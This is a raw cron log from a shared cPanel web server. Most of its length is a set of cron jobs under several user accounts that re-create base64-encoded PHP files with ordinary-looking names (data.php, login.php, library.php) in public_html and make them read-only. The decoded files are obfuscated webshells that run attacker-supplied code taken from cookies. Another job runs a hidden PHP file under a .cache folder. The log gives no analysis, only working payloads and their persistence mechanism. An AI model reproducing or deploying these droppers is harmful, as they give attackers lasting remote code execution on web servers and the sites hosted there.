Mar  1 23:04:02 medusa CROND[21220]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:05:01 medusa CROND[26999]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 23:05:01 medusa CROND[27033]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 23:05:01 medusa CROND[27044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:05:02 medusa CROND[27218]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 23:05:02 medusa CROND[27247]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 23:05:02 medusa CROND[27253]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:05:02 medusa CROND[27251]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 23:05:02 medusa CROND[27250]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 23:05:02 medusa CROND[27252]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:05:02 medusa CROND[27258]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:05:02 medusa CROND[27256]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 23:05:02 medusa CROND[27260]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 23:05:02 medusa CROND[27262]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 23:05:02 medusa CROND[27255]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 23:05:02 medusa CROND[27254]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 23:05:02 medusa CROND[27267]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:05:02 medusa CROND[27268]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:05:02 medusa CROND[27265]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 23:05:02 medusa CROND[27264]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 23:05:02 medusa CROND[27286]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:05:02 medusa CROND[27288]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:05:02 medusa CROND[27291]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:05:02 medusa CROND[27289]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:05:02 medusa CROND[27287]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:06:01 medusa CROND[1752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:06:01 medusa CROND[1754]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:06:01 medusa CROND[1755]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 23:06:01 medusa CROND[1756]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:06:01 medusa CROND[1758]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:06:01 medusa CROND[1760]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:06:01 medusa CROND[1761]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:06:01 medusa CROND[1762]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:06:01 medusa CROND[1763]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:06:01 medusa CROND[1764]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:06:01 medusa CROND[1759]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:06:01 medusa CROND[1770]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 23:06:01 medusa CROND[1772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
